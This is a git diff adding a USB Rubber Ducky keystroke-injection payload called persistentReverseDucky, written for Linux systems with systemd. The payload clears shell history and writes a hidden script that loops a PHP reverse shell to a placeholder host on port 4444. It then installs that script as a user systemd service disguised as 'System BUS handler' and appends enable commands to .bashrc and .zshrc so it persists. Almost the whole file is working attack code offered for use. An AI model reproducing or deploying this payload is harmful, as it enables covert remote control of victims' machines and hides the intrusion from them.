diff --git a/payloads/library/remote_access/persistentReverseDucky/payload.txt b/payloads/library/remote_access/persistentReverseDucky/payload.txt new file mode 100644 index 0000000..260c3f9 --- /dev/null +++ b/payloads/library/remote_access/persistentReverseDucky/payload.txt @@ -0,0 +1,50 @@ +REM Title: persistentReverseDucky +REM Description: persistentReverseDucky provides you persistent reverse shell remotely/locally by creating non-root systemd service. +REM AUTHOR: drapl0n +REM Version: 1.0 +REM Category: Remote Access +REM Target: Unix-like operating systems with systemd +REM Attackmodes: HID + +REM [keeping tracks clear] +DELAY 500 +CTRL-ALT t +DELAY 400 +STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +ENTER +DELAY 100 + +REM [creating reverse shell] +STRING mkdir /var/tmp/.system +ENTER +DELAY 100 +STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/bin/sh -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus +ENTER +DELAY 100 +STRING chmod +x /var/tmp/.system/systemBus +ENTER +DELAY 100 + +REM [creating non-root systemd service] +STRING mkdir -p ~/.config/systemd/user +ENTER +DELAY 100 +STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service +ENTER +DELAY 100 + +REM [enabling service] +STRING systemctl --user daemon-reload +ENTER +STRING systemctl --user enable --now systemBUS.service +ENTER +STRING systemctl --user start --now systemBUS.service +ENTER +DELAY 100 + +REM [autostarting service on terminal/shell launch] +STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.bashrc\nfi\n\n" > ~/tmmmp +ENTER +DELAY 50 +STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit +ENTER